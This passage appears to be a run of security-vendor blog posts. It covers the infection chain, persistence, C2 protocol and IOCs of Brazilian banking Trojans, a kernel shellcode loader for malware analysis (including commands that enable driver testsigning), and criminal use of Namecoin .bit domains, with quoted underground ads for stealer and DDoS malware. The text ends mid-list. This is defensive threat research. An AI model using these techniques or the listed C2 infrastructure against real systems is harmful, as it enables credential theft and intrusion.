When the URL is loaded, it redirects the victim to a cloud storage site such as GitHub, Dropbox, or Google Drive to download a ZIP file. An example is shown in Figure 3.


Figure 3: URL Shortener Redirects to Github Link

The ZIP archive contains a malicious portable executable (PE) file with embedded HTML application (HTA). The user has to unzip the archive and double-click the executable for the infection chain to continue. The PE file is a simple HTA script compiled into an executable. When the user double-clicks the executable, the malicious HTA file is extracted to %temp% and executed by mshta.exe.

The HTA script (Figure 4) contains VBS code that fetches a second blob of VBS code encoded in base64 form from hxxp://<redacted>/ilha/pz/logs.php. 


Figure 4: Contents of HTA File

After the second stage of VBS is decoded (Figure 5 and Figure 6), the script downloads the final stage from hxxp://<redacted>/28022018/pz.zip. 


Figure 5: Contents of Decoded VBS


Figure 6: More Contents of Decoded VBS

The downloaded ZIP file contains four files. Two are PE files. One is a legitimate Windows tool, pvk2pfx.exe, that is abused for DLL side-loading. One is the malicious banking Trojan as the DLL.

The VBS code unzips the archive, changes the extension of the legitimate Windows tool from .png to .exe, and renames the malicious DLL as cryptui.dll. The VBS code also creates a file in C:\Users\Public\Administrador\car.dat with random strings. These random strings are used to name the Windows tool, which is then executed. Since this tool depends on a legitimate DLL named cryptui.dll, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.

In Q4 of 2017, a similar malspam campaign delivered the same banking Trojan by using an embedded JAR file attached in the email instead of an HTML attachment. On execution, the Java code downloaded a ZIP archive from a cloud file hosting site such as Google Drive, Dropbox, or Github. The ZIP archive contained a legitimate Microsoft tool and the malicious Trojan.

Banking Trojan Analysis

The Trojan expects to be located in the hardcoded directory C:\\Users\\Public\Administrador\\ along with three other files to start execution. As seen in Figure 7, these files are:

  • car.dat (randomly generated name given to Windows tool)
  • i4.dt (VBS script that downloads the same zip file)
  • id (ID given to host)
  • cryptui.dll (malicious Trojan)


Figure 7: Contents of ZIP Archive

Persistence

The string found in the file C:\\Users\\Public\\Administrador\\car.dat is extracted and used to add the registry key Software\Microsoft\Windows\CurrentVersion\Run\<string from car.dat> for persistence, as shown in Figure 8.


Figure 8: Reading from car.dat File

The sample also looks for a file named i4.dt in the same directory and extracts the contents of it, renames the file to icone.vbs, and creates a new persistent key (Figure 9) in \Software\Microsoft\Windows\CurrentVersion\Run to open this file.


Figure 9: Persistence Keys

The VBS code in this file (Figure 10) has the ability to recreate the whole chain and download the same ZIP archive.


Figure 10: Contents of VBS Script

Next, the Trojan searches for several folders in the Program Files directories, including:

  • C:\\Program Files\\AVG
  • C:\\Program Files\\AVAST Software
  • C:\\Program Files\\Diebold\\Warsaw
  • C:\\Program Files\\Trusteer\\Rapport
  • C:\\Program Files\\Java
  • C:\\Program Files (x86)\\scpbrad

If any of the folders are found, this information, along with the hostname and Operating System version, is sent to a hardcoded domain with the hardcoded User-Agent value “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0” in the format shown in Figure 11. The value of AT is “<host_name+OS&MD>=<list of folders found>”.


Figure 11: Network Traffic for Host Enumeration

The sample iterates through the running processes, kills the following, and prevents them from launching:

  • msconfig.exe
  • TASKMGR.exe
  • regedit.exe
  • ccleaner64.exe
  • taskmgr.exe
  • itauaplicativo.exe

Next, it uses GetForegroundWindow to get a handle to the window the user is viewing and GetWindowText to extract the title of the window. The title is compared against a hardcoded list of Brazilian banking and digital coin sites. The list is extensive and includes major organizations and smaller entities alike. 

If any of those names are found and the browser is one of the following, the Trojan will terminate that browser.

  • firefox.exe
  • chrome.exe
  • opera.exe
  • safari.exe

The folder C:\Users\Public\Administrador\logs\ is created to store screenshots, as well as the number of mouse clicks the user has triggered while browsing the banking sites (Figure 12). The screenshots are continuously saved as .jpg images.


Figure 12: Malware Capturing Mouse Clicks

Command and Control

The command and control (C2) server is selected based on the string in the file “id”:

  • al -> '185.43.209[.]182'
  • gr -> '212.237.46[.]6'
  • pz -> '87.98.146[.]34'
  • mn -> ’80.211.140[.]235'

The connection to one of the hosts is then started over raw TCP on port 9999. The command and control communication generally follows the pattern <|Command |>, for example:

  • '<|dispida|>logs>SAVE<' sends the screenshots collected in gh.txt.
  • '<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep the connection alive.
  • '<|INFO|>' retrieves when the infection first started based on the file timestamp from car.dat along with '<|>' and the host information.

There were only four possible IP addresses that the sample analyzed could connect to based on the strings found in the file “id”. After further researching the associated infrastructure of the C2 (Figure 13), we were able to find potential number of victims for this particular campaign.

 

Figure 13: Command and Control Server Open Directories

Inside the open directories, we were able to get the following directories corresponding to the different active campaigns. Inside each directory we could find statistics with the number of victims reporting to the C2. As of 3/27/2018, the numbers were:

  • al – 843
  • ap – 879
  • gr – 397
  • kk – 2,153
  • mn – 296
  • pz – 536
  • tm – 187

A diagram summarizing Campaign #1 is shown in Figure 14.


Figure 14: Infection Chain of Campaign #1

Campaign #2

In the second campaign, FireEye Labs observed emails with links to legitimate domains (such as hxxps://s3-ap-northeast-1.amazonaws[.]com/<redacted>/Boleto_Protesto_Mes_Marco_2018.html) or compromised domains (such as hxxps://curetusu.<redacted>-industria[.]site/) that use a refresh tag with a URL shortener as the target. The URL shortener redirects the user to an online storage site, such as Google Drive, Github, or Dropbox, that hosts a malicious ZIP file. A sample phishing email is shown in Figure 15.


Figure 15: Example Phishing Email

The ZIP file contains a malicious executable written in AutoIt (contents of this executable are shown in Figur 16). When executed by the user, it drops a VBS file to a randomly created and named directory (such as C:\mYPdr\TkCJLQPX\HwoC\mYPdr.vbs) and fetches contents from the C2 server.


Figure 16: Contents of Malicious AutoIt Executable

Two files are downloaded from the C2 server. One is a legitimate Microsoft tool and the other is a malicious DLL: 

  • https[:]//panel-dark[.]com/w3af/img2.jpg
  • https[:]//panel-dark[.]com/w3af/img1.jpg

Those files are downloaded and saved into random directories named with the following patterns:

  • <current user dir>\<5 random chars>\<8 random chars>\<4 random chars>\<5 random chars>.exe
  • <current user dir>\<5 random chars>\<8 random chars>\<4 random chars>\CRYPTUI.dll 

The execution chain ensures that persistence is set on the affected system using a .lnk file in the Startup directory. The .lnk file shown in Figure 17 opens the malicious VBS dropped on the system.


Figure 17: Persistence Key

The VBS file (Figure 18) will launch and execute the downloaded legitimate Windows tool, which in this case is Certmgr.exe. This tool will be abused using the DLL side loading technique. The malicious Cryptui.dll is loaded into the program instead of the legitimate one and executed.


Figure 18: Contents of Dropped VBS File

Banking Trojan Analysis

Like the Trojan from the first campaign, this sample is executed through search-order hijacking. In this case, the binary abused is a legitimate Windows tool, Certmgr.exe, that loads Cryptui.dll. Since this tool depends on a legitimate DLL named cryptui.dll, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.

The malicious DLL exports 21 functions. Only DllEntryPoint contains real code that is necessary to start the execution of the malicious code. The other functions return hardcoded values that serve no real purpose.

On execution, the Trojan creates a mutex called "correria24" to allow only one instance of it to run at a time.

The malware attempts to resolve “www.goole[.]com” (most likely a misspelling). If successful, it sends a request to hxxp://api-api[.]com/json in order to detect the external IP of the victim. The result is parsed and execution continues only if the country code matches “BR”, as shown in Figure 19.


Figure 19: Country Code Check

The malware creates an empty file in %appdata%\Mariapeirura on first execution, which serves as a mutex lock, before attempting to send any collected information to the C2 server. This is done in order to get only one report per infected host.

The malware collects host information, base64 encodes it, and sends it to two C2 servers. The following items are gathered from the infected system:

  • OS name
  • OS version
  • OS architecture
  • AV installed
  • List of banking software installed
  • IP address
  • Directory where malware is being executed from

The information is sent to hxxp://108.61.188.171/put.php (Figure 20).


Figure 20: Host Recon Data Sent to First C2 Server

The same information is sent to panel-dark[.]com/Contador/put.php (Figure 21).


Figure 21: Host Recon Data Sent to Second C2 Server

The malware alters the value of registry key Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ExtendedUIHoverTime to 2710 in order to change the number of milliseconds a thumbnail is showed while hovering on the taskbar, as seen in Figure 22.


Figure 22: ExtendedUIHoverTime Registry Key Change

Like the Trojan from the first campaign, this sample checks if the foreground window's title contains names of Brazilian banks and digital coins by looking for hardcoded strings.

The malware displays fake forms on top of the banking sites and intercepts credentials from the victims. It can also display a fake Windows Update whenever there is nefarious activity in the background, as seen in Figure 23.


Figure 23: Fake Form Displaying Windows Update

The sample also contains a keylogger functionality, as shown in Figure 24.


Figure 24: Keylogger Function

Command and Control

The Trojan’s command and control command structure is identical to the first sample. The commands are denoted by the <|Command|> syntax.

  • <|OK|> gets a list of banking software installed on the host.
  • '<PING>' is sent from C2 to host, and '<PONG>' is sent from host to C2, to keep connection alive.
  • <|dellLemb|> deletes the registry key \Software\Microsoft\Internet Explorer\notes.
  • EXECPROGAM calls ShellExecute to run the application given in the command.
  • EXITEWINDOWS calls ExitWindowsEx.
  • NOVOLEMBRETE creates and stores data sent with the command in the registry key \Software\Microsoft\Internet Explorer\notes.


Figure 25: Partial List of Victims

This sample contains most of the important strings encrypted. We provide the following script (Figure 26) in order to decrypt them.


Figure 26: String Decryption Script

Conclusion

The use of multi-stage infection chains makes it challenging to research these types of campaigns all the way through.

As demonstrated by our research, the attackers are using various techniques to evade detection and infect unsuspecting Portuguese-speaking users with banking Trojans. The use of public cloud infrastructure to help deliver the different stages plays a particularly big role in delivering the malicious payload. The use of different infection methods combined with the abuse of legitimate signed binaries to load malicious code makes these campaigns worth highlighting.

Indicators of Compromise

Campaign #1
TYPE HASH DESCRIPTION
MD5 860fa744d8c82859b41e00761c6e25f3 PE with Embedded HTA
MD5 3e9622d1a6d7b924cefe7d3458070d98 PE with Embedded HTA
MD5 f402a482fd96b0a583be2a265acd5e74 PE with Embedded HTA
MD5 f329107f795654bfc62374f8930d1e12 PE with Embedded HTA
MD5 789a021c051651dbc9e01c5d8c0ce129 PE with Embedded HTA
MD5 68f818fa156d45889f36aeca5dc75a81 PE with Embedded HTA
MD5 c2cc04be25f227b13bcb0b1d9811e2fe cryptui.dll
MD5 6d2cb9e726c9fac0fb36afc377be3aec id
MD5 dd73f749d40146b6c0d2759ba78b1764 i4.dt
MD5 d9d1e72165601012b9d959bd250997b3 VBS file with commands to create staging directories for malware
MD5 03e4f8327fbb6844e78fda7cdae2e8ad pvk2pfx.exe [Legit Windows Tool]
URL   hxxp://5.83.162.24/ilha/pz/logs.php
URL   hxxp://5.83.162.24/28022018/pz.zip 
C2   ibamanetibamagovbr[.]org/virada/pz/logs.php
URL   sistemasagriculturagov[.]org
URL   hxxp://187.84.229.107/05022018/al.zip
Campaign #2
TYPE HASH DESCRIPTION
MD5 2999724b1aa19b8238d4217565e31c8e AutoIT Dropper
MD5 181c8f19f974ad8a84b8673d487bbf0d img1.jpg [lLegit Windows Tool]
MD5 d3f845c84a2bd8e3589a6fbf395fea06 img2.jpg [Banking Trojan]
MD5 2365fb50eeb6c4476218507008d9a00b Variants of Banking Trojan
MD5 d726b53461a4ec858925ed31cef15f1e Variants of Banking Trojan
MD5 a8b2b6e63daf4ca3e065d1751cac723b Variants of Banking Trojan
MD5 d9682356e78c3ebca4d001de760848b0 Variants of Banking Trojan
MD5 330721de2a76eed2b461f24bab7b7160 Variants of Banking Trojan
MD5 6734245beda04dcf5af3793c5d547923 Variants of Banking Trojan
MD5 a920b668079b2c1b502fdaee2dd2358f Variants of Banking Trojan
MD5 fe09217cc4119dedbe85d22ad23955a1 Variants of Banking Trojan
MD5 82e2c6b0b116855816497667553bdf11 Variants of Banking Trojan
MD5 4610cdd9d737ecfa1067ac30022d793b Variants of Banking Trojan
MD5 34a8dda75aea25d92cd66da53a718589 Variants of Banking Trojan
MD5 88b808d8164e709df2ca99f73ead2e16 Variants of Banking Trojan
MD5 d3f845c84a2bd8e3589a6fbf395fea06 Variants of Banking Trojan
MD5 28a0968163b6e6857471305aee5c17e9 Variants of Banking Trojan
MD5 1285205ae5dd5fa5544b3855b11b989d Variants of Banking Trojan
MD5 613563d7863b4f9f66590064b88164c8 Variants of Banking Trojan
MD5 3dd43e69f8d71fcc2704eb73c1ea7daf Variants of Banking Trojan
C2   https[:]//panel-dark[.]com/w3af/img2.jpg 
C2   https[:]//panel-dark[.]com/w3af/img1.jpg 

Loading Kernel Shellcode

In the wake of recent hacking tool dumps, the FLARE team saw a spike in malware samples detonating kernel shellcode. Although most samples can be analyzed statically, the FLARE team sometimes debugs these samples to confirm specific functionality. Debugging can be an efficient way to get around packing or obfuscation and quickly identify the structures, system routines, and processes that a kernel shellcode sample is accessing.

This post begins a series centered on kernel software analysis, and introduces a tool that uses a custom Windows kernel driver to load and execute Windows kernel shellcode. I’ll walk through a brief case study of some kernel shellcode, how to load shellcode with FLARE’s kernel shellcode loader, how to build your own copy, and how it works.

As always, only analyze malware in a safe environment such as a VM; never use tools such as a kernel shellcode loader on any system that you rely on to get your work done.

A Tale of Square Pegs and Round Holes

Depending upon how a shellcode sample is encountered, the analyst may not know whether it is meant to target user space or kernel space. A common triage step is to load the sample in a shellcode loader and debug it in user space. With kernel shellcode, this can have unexpected results such as the access violation in Figure 1.


Figure 1: Access violation from shellcode dereferencing null pointer

The kernel environment is a world apart from user mode: various registers take on different meanings and point to totally different structures. For instance, while the gs segment register in 64-bit Windows user mode points to the Thread Information Block (TIB) whose size is only 0x38 bytes, in kernel mode it points to the Processor Control Region (KPCR) which is much larger. In Figure 1 at address 0x2e07d9, the shellcode is attempting to access the IdtBase member of the KPCR, but because it is running in user mode, the value at offset 0x38 from the gs segment is null. This causes the next instruction to attempt to access invalid memory in the NULL page. What the code is trying to do doesn’t make sense in the user mode environment, and it has crashed as a result.

In contrast, kernel mode is a perfect fit. Figure 2 shows WinDbg’s dt command being used to display the _KPCR type defined within ntoskrnl.pdb, highlighting the field at offset 0x38 named IdtBase.


Figure 2: KPCR structure

Given the rest of the code in this sample, accessing the IdtBase field of the KPCR made perfect sense. Determining that this was kernel shellcode allowed me to quickly resolve the rest of my questions, but to confirm my findings, I wrote a kernel shellcode loader. Here’s what it looks like to use this tool to load a small, do-nothing piece of shellcode.

Using FLARE’s Kernel Shellcode Loader

I booted a target system with a kernel debugger and opened an administrative command prompt in the directory where I copied the shellcode loader (kscldr.exe). The shellcode loader expects to receive the name of the file on disk where the shellcode is located as its only argument. Figure 3 shows an example where I’ve used a hex editor to write the opcodes for the NOP (0x90) and RET (0xC3) instructions into a binary file and invoked kscldr.exe to pass that code to the kernel shellcode loader driver. I created my file using the Windows port of xxd that comes with Vim for Windows.


Figure 3: Using kscldr.exe to load kernel shellcode

The shellcode loader prompts with a security warning. After clicking yes, kscldr.exe installs its driver and uses it to execute the shellcode. The system is frozen at this point because the kernel driver has already issued its breakpoint and the kernel debugger is awaiting commands. Figure 4 shows WinDbg hitting the breakpoint and displaying the corresponding source code for kscldr.sys.


Figure 4: Breaking in kscldr.sys

From the breakpoint, I use WinDbg with source-level debugging to step and trace into the shellcode buffer. Figure 5 shows WinDbg’s disassembly of the buffer after doing this.


Figure 5: Tracing into and disassembling the shellcode

The disassembly shows the 0x90 and 0xc3 opcodes from before, demonstrating that the shellcode buffer is indeed being executed. From here, the powerful facilities of WinDbg are available to debug and analyze the code’s behavior.

Building It Yourself

To try out FLARE’s kernel shellcode loader for yourself, you’ll need to download the source code.

To get started building it, download and install the Windows Driver Kit (WDK). I’m using Windows Driver Kit Version 7.1.0, which is command line driven, whereas more modern versions of the WDK integrate with Visual Studio. If you feel comfortable using a newer kit, you’re welcomed to do so, but beware, you’ll have to take matters into your own hands regarding build commands and dependencies. Since WDK 7.1.0 is adequate for purposes of this tool, that is the version I will describe in this post.

Once you have downloaded and installed the WDK, browse to the Windows Driver Kits directory in the start menu on your development system and select the appropriate environment. Figure 6 shows the WDK program group on a Windows 7 system. The term “checked build” indicates that debugging checks will be included. I plan to load 64-bit kernel shellcode, and I like having Windows catch my mistakes early, so I’m using the x64 Checked Build Environment.


Figure 6: Windows Driver Kits program group

In the WDK command prompt, change to the directory where you downloaded the FLARE kernel shellcode loader and type ez.cmd. The script will cause prompts to appear asking you to supply and use a password for a test signing certificate. Once the build completes, visit the bin directory and copy kscldr.exe to your debug target. Before you can commence using your custom copy of this tool, you’ll need to follow just a few more steps to prepare the target system to allow it.

Preparing the Debug Target

To debug kernel shellcode, I wrote a Windows software-only driver that loads and runs shellcode at privilege level 0. Normally, Windows only loads drivers that are signed with a special cross-certificate, but Windows allows you to enable testsigning to load drivers signed with a test certificate. We can create this test certificate for free, and it won’t allow the driver to be loaded on production systems, which is ideal.

In addition to enabling testsigning mode, it is necessary to enable kernel debugging to be able to really follow what is happening after the kernel shellcode gains execution. Starting with Windows Vista, we can enable both testsigning and kernel debugging by issuing the following two commands in an administrative command prompt followed by a reboot:

bcdedit.exe /set testsigning on

bcdedit.exe /set debug on

For debugging in a VM, I install VirtualKD, but you can also follow your virtualization vendor’s directions for connecting a serial port to a named pipe or other mechanism that WinDbg understands. Once that is set up and tested, we’re ready to go!

If you try the shellcode loader and get a blue screen indicating stop code 0x3B (SYSTEM_SERVICE_EXCEPTION), then you likely did not successfully connect the kernel debugger beforehand. Remember that the driver issues a software interrupt to give control to the debugger immediately before executing the shellcode; if the debugger is not successfully attached, Windows will blue screen. If this was the case, reboot and try again, this time first confirming that the debugger is in control by clicking Debug -> Break in WinDbg. Once you know you have control, you can issue the g command to let execution continue (you may need to disable driver load notifications to get it to finish the boot process without further intervention: sxd ld).

How It Works

The user-space application (kscldr.exe) copies the driver from a PE-COFF resource to the disk and registers it as a Windows kernel service. The driver implements device write and I/O control routines to allow interaction from the user application. Its driver entry point first registers dispatch routines to handle CreateFile, WriteFile, DeviceIoControl, and CloseHandle. It then creates a device named \Device\kscldr and a symbolic link making the device name accessible from user-space. When the user application opens the device file and invokes WriteFile, the driver calls ExAllocatePoolWithTag specifying a PoolType of NonPagedPool (which is executable), and writes the buffer to the newly allocated memory. After the write operation, the user application can call DeviceIoControl to call into the shellcode. In response, the driver sets the appropriate flags on the device object, issues a breakpoint to pass control to the kernel debugger, and finally calls the shellcode as if it were a function.

While You’re Here

Driver development opens the door to unique instrumentation opportunities. For example, Figure 7 shows a few kernel callback routines described in the WDK help files that can track system-wide process, thread, and DLL activity.


Figure 7: WDK kernel-mode driver architecture reference

Kernel development is a deep subject that entails a great deal of study, but the WDK also comes with dozens upon dozens of sample drivers that illustrate correct Windows kernel programming techniques. This is a treasure trove of Windows internals information, security research topics, and instrumentation possibilities. If you have time, take a look around before you get back to work.

Wrap-Up

We’ve shared FLARE’s tool for loading privileged shellcode in test environments so that we can dynamically analyze kernel shellcode. We hope this provides a straightforward way to quickly triage kernel shellcode if it ever appears in your environment. Download the source code now.

Do you want to learn more about these tools and techniques from FLARE? Then you should take one of our Black Hat classes in Las Vegas this summer! Our offerings include Malware Analysis Crash Course, macOS Malware for Reverse Engineers, and Malware Analysis Master Class.

How the Rise of Cryptocurrencies Is Shaping the Cyber Crime Landscape: Blockchain Infrastructure Use

UPDATE (May 31, 2018): A section of the post on commonly used OpenNIC IPs has been removed to avoid any implication that the OpenNIC IPs are inherently malicious, which is not the case.

Introduction

Cyber criminals have always been attracted to cryptocurrencies because it provides a certain level of anonymity and can be easily monetized. This interest has increased in recent years, stemming far beyond the desire to simply use cryptocurrencies as a payment method for illicit tools and services. Many actors have also attempted to capitalize on the growing popularity and subsequent rising price of cryptocurrencies by conducting various operations aimed at them, such as malicious cryptocurrency mining, collection of cryptocurrency wallet credentials, extortion activity, and the targeting of cryptocurrency exchanges.

Coinciding with the rising interest in stealing cryptocurrencies, distributed ledger technology (DLT), the technology that underpins cryptocurrencies, has also provided cyber criminals with a unique means of hosting their malicious content. This blog covers the growing trend of cyber criminals using blockchain domains for malicious infrastructure.

Blockchain Infrastructure Use

Traditionally, cyber criminals have used various methods to obfuscate malicious infrastructure that they use to host additional payloads, store stolen data, and/or function as command and control (C2) servers. Traditional methods include using bulletproof hosting, fast-flux, Tor infrastructure, and/or domain generation algorithms (DGAs) to help obfuscate the malicious infrastructure. While we expect cyber criminals to continue to use these techniques for the foreseeable future, another trend is emerging: the use of blockchain infrastructure.

Underground Interest in Blockchain Infrastructure

FireEye iSIGHT Intelligence has identified eCrime actor interest in cryptocurrency infrastructure-related topics dating back to at least 2009 within underground communities. While searches for certain keywords fail to provide context, the frequency of specific words, such as blockchain, Namecoin, and .bit, show a sharp increase in conversations surrounding these topics beginning in 2015 (Figure 1).


Figure 1: Underground keyword mentions

Namecoin Domains

Namecoin is a cryptocurrency based on the Bitcoin code that is used to register and manage domain names with the top-level domain (TLD) .bit. Everyone who registers a Namecoin domain is essentially their own domain registrar; however, domain registration is not associated with an individual's name or address. Rather, domain ownership is based on the unique encrypted hash of each user. This essentially creates the same anonymous system as Bitcoin for internet infrastructure, in which users are only known through their cryptographic identity. Figure 2 illustrates the Namecoin domain name generation process.


Figure 2: Namecoin domain creation process

As Namecoin is decentralized, with no central authority managing the network, domains registered with Namecoin are resistant to being hijacked or shut down. These factors, coupled with the comparative anonymity, make Namecoin an increasingly attractive option for cyber criminals in need of supporting infrastructure for their malicious operations.

Navigating to Namecoin Domains

Domains registered with Namecoin use the TLD .bit, and are not managed by standard DNS providers. Consequently, a client will be unable to establish a connection to these blockchain domains unless additional configurations are made. According to the Namecoin wiki, individuals can take one of the steps shown in Figure 3 to browse .bit domains.


Figure 3: Options for navigating to Namecoin domains outlined on Namecoin wiki

These options are not ideal for cyber criminals, as downloading the entire blockchain onto an infected host would require significant space and bandwidth, and routing their malicious traffic through an unknown third party could result in their traffic being blocked by the resolver. As a result, many have configured their malware to query their own privately managed Namecoin-compatible OpenNIC DNS (Figure 4), or to query other compatible servers they've purchased through underground infrastructure offerings. Bulletproof hosting providers, such as Group 4, have capitalized on the increased demand for .bit domains by adding support to allow malicious actors to query compatible servers.


Figure 4: Blockchain domain support advertised on OpenNIC website

Underground Advertisements for Namecoin Support

The following underground advertisements relating to the use of .bit domains have been observed by researchers over the past several years. These posts range from actors offering .bit compatible modules or configuration updates for popular banking Trojans to .bit infrastructure offerings.

Sample Advertisement #1

Figure 5 shows an advertisement, observed in late 2015, posted by the actor "wachdog" in a popular Russian-speaking marketplace. The actor advertised a small utility (10 KB in size) that is compatible with both Windows and Android operating systems, and would allow for the communication to and from .bit domains.

Advertisement Translated Text:

The code is written in C+ for WinAPI or Java for Android. It can be used for small stealth applications to access .bit domains.

The registration of new domain costs 0.02 NMC, update of a record - 0.005 NMC.

So, the price for domain registration and update will be approximately 0.0072$ and 0.0018$.

The code works in all Windows starting from XP, it doesn't require additional libraries, admin privileges, it doesn't download a lot of data. The size of compiled code is 10 KB. It's easy to write it in asm, paskal, c#, java etc. It also works for Android (all versions).

You should download the Namecoin wallet, credit it with the minimum amount of NMC and register your own domain using the wallet. IP of C&C can be linked to the domain also using the wallet (one of many, everything works as for normal DNS). Create a build of your software locked to .bit domain. In case the IP of your server is listed, just change the DNS record and assign your domain a new IP for just for 0.005 NMC. No need in new rebuild or registration of new domains. .bit domain cannot be taken, botnet cannot be stolen.

Price:

Technology + code in C: $300 USD

Technology + code in C + code in Java for Android: $400 USD
Payment methods: BTC, PerfectMoney

Figure 5: Actor "wachdog" advertises utility to connect to .bit domains in late 2015

Sample Advertisement #2

In late 2017, actor "Discomrade" advertised a new HTTP distributed denial of service (DDoS) malware named "Coala" on a prominent Russian-language underground forum (Figure 6). According to the advertisement, Coala focuses on L7 (HTTP) attacks and can overcome Cloudflare, OVH, and BlazingFast DDoS protections. The original posting stated that the actor was working on adding support for .bit domains, and later updated the forum post to specify that Coala was able to support .bit domain communications.

Advertisement Translated Text:

Coala - Http DDoS Bot, .net 2.0, bypass cloudflare/ovh/blazi...
The sale resumed.

I changed my decision to rewrite the bot from the scratch on native language.
I'm looking forward to hearing any ideas / comments/ questions you have about improving this DDoS bot.
I updated and enhanced the bot using your previous comments and requests (changed communication model between server and bot, etc)

I added the following features/options/abilities:

- to customize the HTTP-headers (user-agent, cookie, referrer)
- to set task limits
- to count the number of bots used for particular task
- to read the answer from a server
- to use async sockets
- to set the number of sockets per timeout
- to set the number of HTTP-requests per socket
- to set custom waiting time
- to set an attack restart periods
- to count the requests per second for particular task

I removed the feature related to DDoS attacks against TOR sites because of its improper functioning and AV detects.

Currently I am working on .bit domains support.

The price: $400
 

Figure 6: Discomrade advertising Coala DDoS malware support for .bit domains

Sample Advertisement #3

The AZORult malware, which was discovered in mid-2016, is offered in underground marketplaces by the actor "CrydBrox." In early 2017, CrydBrox offered an updated variant of the AZORult malware that included .bit support (Figure 7).

Advertisement Translated Text:

 AZORult V2

[+] added .bit domains support
[+] added CC stealing feature (for Chrome-based browsers)
[+] added passwords grabbing from FTP-client WinSCP
[+] added passwords grabbing from Outlook (up to the last version)
[+] fixed passwords grabbing from Firefox and Thunderbird
[+] added the feature to examine what privileges were used to run stealer
[+] provided encrypted communication between management panel and the stealer
[+] added AntiVirtualMachine, AntiSandbox, AntiDebug techniques
[+] fixed logs collection feature (excluded info about file operations)
[+] accelerated the work of stealer process
[+] removed .tls section from binary file
[+] added ability to search logs by cookies content (in management panel)
[+] added the view of the numbers of passwords/CC/CoinsWallet and files in logs to management panel
[+] added the commenting feature to logs
[+] added viewing of the stats by country, architecture, system version, privileges, collected passwords
[+] added new filters and improved of old filters

There are 4 variants of the stealer:
AU2_EXE.exe - run and send the report
AU2_EXEsd.exe - run, send the report and remove itself
AU2_DLL.dll - collect info after the load into the process, send data and return the control to the process
AU2_DLLT.dll - after the loading of the DLL into the process it creates the separate thread for stealer work
*DLL versions successfully work with all popular bots.
The size – 495 KB, packed with UPX – 220 KB

The prices:
1 build - $100
rebuild - $30
 

Figure 7: CrydBrox advertising AZORult support for .bit domains

Namecoin Usage Analysis

Coinciding with malicious actors' increasing interest in using .bit domains is a growing number of malware families that are being configured to use them. Malware families that we have observed using Namecoin domains as part of their C2 infrastructure include:

  • Necurs
  • AZORult
  • Neutrino (aka Kasidet, MWZLesson)
  • Corebot
  • SNATCH
  • Coala DDoS
  • CHESSYLITE
  • Emotet
  • Terdot
  • Gandcrab Ransomware
  • SmokeLoader (aka Dofoil)

Based on our analysis of samples configured to used .bit, the following methods are commonly used by malware families to connect to these domains:

  • Query hard-coded OpenNIC IP address(es)
  • Query hard-coded DNS server(s)

AZORult

The AZORult sample (MD5: 3a3f739fceeedc38544f2c4b699674c5) was configured to support the use of .bit communications, although it did not connect to a Namecoin domain during analysis. The sample first checks if the command and control (C2) domain contains the string ".bit" and, if so, the malware will query the following hard-coded OpenNIC IP addresses to try to resolve the domain (Figure 8 and Figure 9):

  • 89.18.27.34
  • 87.98.175.85
  • 185.121.177.53
  • 193.183.98.154
  • 185.121.177.177
  • 5.9.49.12
  • 62.113.203.99
  • 130.255.73.90
  • 5.135.183.146
  • 188.165.200.156


Figure 8: Hard-coded OpenNIC IP addresses - AZORult


Figure 9: AZORult code for resolving C&C domains

CHESSYLITE

The analyzed CHESSYLITE sample (MD5: ECEA3030CCE05B23301B3F2DE2680ABD) contains the following hard-coded .bit domains:

  • Leomoon[.]bit
  • lookstat[.]bit
  • sysmonitor[.]bit
  • volstat[.]bit
  • xoonday[.]bit

The malware attempts to resolve those domains by querying the following list of hard-coded OpenNIC IP addresses:

  • 69.164.196.21
  • 107.150.40.234
  • 89.18.27.34
  • 193.183.98.154
  • 185.97.7.7
  • 162.211.64.20
  • 217.12.210.54
  • 51.255.167.0
  • 91.121.155.13
  • 87.98.175.85

Once the .bit domain has been resolved, the malware will issue an encoded beacon to the server (Figure 10).


Figure 10: CHESSYLITE sample connecting to xoonday.bit and issuing beacon

Neutrino (aka Kasidet, MWZLesson)

The analyzed Neutrino sample (MD5: C102389F7A4121B09C9ACDB0155B8F70) contains the following hard-coded Namecoin C2 domain:

  • brownsloboz[.]bit

Instead of using hard-coded OpenNIC IP addresses to resolve its C2 domain, the sample issues DnsQuery_A API calls to the following DNS servers:

  • 8.8.8.8
  • sourpuss.[]net
  • ns1.opennameserver[.]org
  • freya.stelas[.]de
  • ns.dotbit[.]me
  • ns1.moderntld[.]com
  • ns1.rodgerbruce[.]com
  • ns14.ns.ph2network[.]org
  • newton.bambusoft[.]mx
  • secondary.server.edv-froehlich[.]de
  • philipostendorf[.]de
  • a.dnspod[.]com
  • b.dnspod[.]com
  • c.dnspod[.]com

The malware is configured to run through the list in the aforementioned order. Hence, if a DnsQuery_A call to 8.8.8.8 fails, the malware will try sourpuss[.]net, and so on (Figure 11). Through network emulation techniques, we simulated a resolved connection in order to observe the sample's behavior with the .bit domain.


Figure 11: Modified 8.8.8.8 to 8.8.8.5 to force query failure

Monero Miner

The analyzed Monero cryptocurrency miner (MD5: FA1937B188CBB7fD371984010564DB6E) revealed the use of .bit for initial beacon communications. This miner uses the DnsQuery_A API call and connects to the OpenNIC IP address 185.121.177.177 to resolve the domain flashupd[.]bit (Figure 12 and Figure 13).


Figure 12: Code snippet for resolving the .bit domain


Figure 13: DNS request to OpenNIC IP 185.121.177.177

Terdot (aka ZLoader, DELoader)

The analyzed Terdot sample (MD5: 347c574f7d07998e321f3d35a533bd99) includes the ability to communicate with .bit domains, seemingly to download additional payloads. It attempts resolution by querying the following list of OpenNIC and public DNS IP addresses:

  • 185.121.177.53
  • 185.121.177.177
  • 45.63.25.55
  • 111.67.16.202
  • 142.4.204.111
  • 142.4.205.47
  • 31.3.135.232
  • 62.113.203.55
  • 37.228.151.133
  • 144.76.133.38

This sample iterates through the hard-coded IPs in attempts to access the domain cyber7[.]bit (Figure 14). If the domain resolves, it will connect to https://cyber7[.]bit/blog/ajax.php to download data that is RC4 encrypted and expected to contain a PE file.


Figure 14: DNS requests for cyber7.bit domain

Gandcrab Ransomware

The analyzed Gandcrab ransomware sample (MD5: 9abe40bc867d1094c7c0551ab0a28210) also revealed the use of .bit domains. Unlike previously mentioned families, it spawns a new nslookup process via an anonymous pipe to resolve the following blockchain domains:

  • Bleepingcomputer[.]bit
